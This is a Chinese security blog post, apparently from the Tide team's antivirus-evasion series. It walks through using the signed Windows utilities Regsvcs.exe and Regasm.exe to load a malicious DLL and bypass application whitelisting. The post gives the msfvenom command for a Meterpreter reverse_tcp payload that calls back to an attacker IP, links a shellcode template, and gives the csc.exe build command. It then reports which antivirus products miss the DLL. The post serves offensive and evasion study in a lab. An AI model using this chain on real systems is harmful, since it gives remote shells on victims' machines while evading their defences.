远控免杀专题(42)-白名单Regasm.exe/Regsvcs.exe执行payload

admin 2022年7月1日02:47:38程序逆向远控免杀专题(42)-白名单Regasm.exe/Regsvcs.exe执行payload已关闭评论16 views2449字阅读8分9秒阅读模式
图片

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!


文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus

免杀能力一览表

几点说明:

1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。

图片

图片


一、Regasm.exe/Regsvcs.exe简介

Regsvcs和Regasm是Windows命令行实用程序,用于注册.NET组件对象模型(COM)程序集。两者都是由Microsoft进行数字签名的。攻击者可以使用Regsvcs和Regasm代理通过受信任的Windows实用程序执行代码。两个实用程序可用于通过使用二进制内的属性来绕过进程白名单,以指定应在注册或取消注册之前运行的代码:[ComRegisterFunction]或[ComUnregisterFunction]分别。即使进程在权限不足的情况下运行并且无法执行,也将执行具有注册和取消注册属性的代码。

由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理,查杀白名单文件都没有任何意义,payload文件的查杀率依赖于对payload的免杀处理,所以这里对白名单程序的免杀效果不做评判。

二、使用Regasm.exe/Regsvcs.exe执行Payload

2.1 复现环境

攻击机:Kali 192.168.19.128

受害机:Win7 192.168.19.130

使用工具:Metasploit

依赖环境:Microsoft.NET Framework v4.0.30319、Microsoft SDKs

2.2 复现过程

1、首先下载用以生成恶意dll的cs文件

https://github.com/3gstudent/Bypass-McAfee-Application-Control–Code-Execution/blob/master/regsvcs.cs

图片

2、在攻击机上使用msfvenom生成C#格式的payload

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=4444 -f csharp

图片

3、将regsvcs.cs(下载的regsvcs.cs为执行calc.exe程序的cs文件)中的shellcode替换成为在攻击机上使用msfvenom生成C#格式的payload

图片

图片

4、生成dll文件

利用C:\Windows\Microsoft.NET\Framework\v4.0.30319文件夹中的csc.exe程序可以将cs文件生成为dll文件。

编译dll,注意文件的路径:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs

图片

regsvcs.exe加载或卸载指定dll时该dll必须签名才可执行成功,因此命令中使用的key.snk文件为dll签名文件,是由sn.exe生成的公钥和私钥对,如果没有sn命令你可能需要安装vs或者Microsoft SDKs。

图片5、配置攻击机的Msf

图片

6、使用Regasm.exe/Regsvcs.exe执行恶意dll文件

(1)利用Regsvcs.exe执行dll文件

图片

可见Msf已上线

图片(2)利用Regasm.exe执行dll文件

图片Msf也可以上线

图片

三、小结

生成的dll文件分别使用360安全卫士、360杀毒、火绒杀毒进行检测,均未发现任何风险。

图片

但使用Regasm.exe/Regsvcs.exe执行恶意dll文件时,360安全卫士会根据行为进行报警。

图片

利用VT进行查杀,查杀率为31/69。

图片

四、参考资料

攻击复现 —— 利用Regasm.exe与Regsvcs.exe绕过AppLocker:https://www.freebuf.com/column/217229.html

渗透测试中弹shell的多种方式及bypass:https://xz.aliyun.com/t/5768#toc-12




E

N

D



图片


guān

zhù

men


Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

图片


图片


特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月1日02:47:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  远控免杀专题(42)-白名单Regasm.exe/Regsvcs.exe执行payload http://cn-sec.com/archives/1149486.html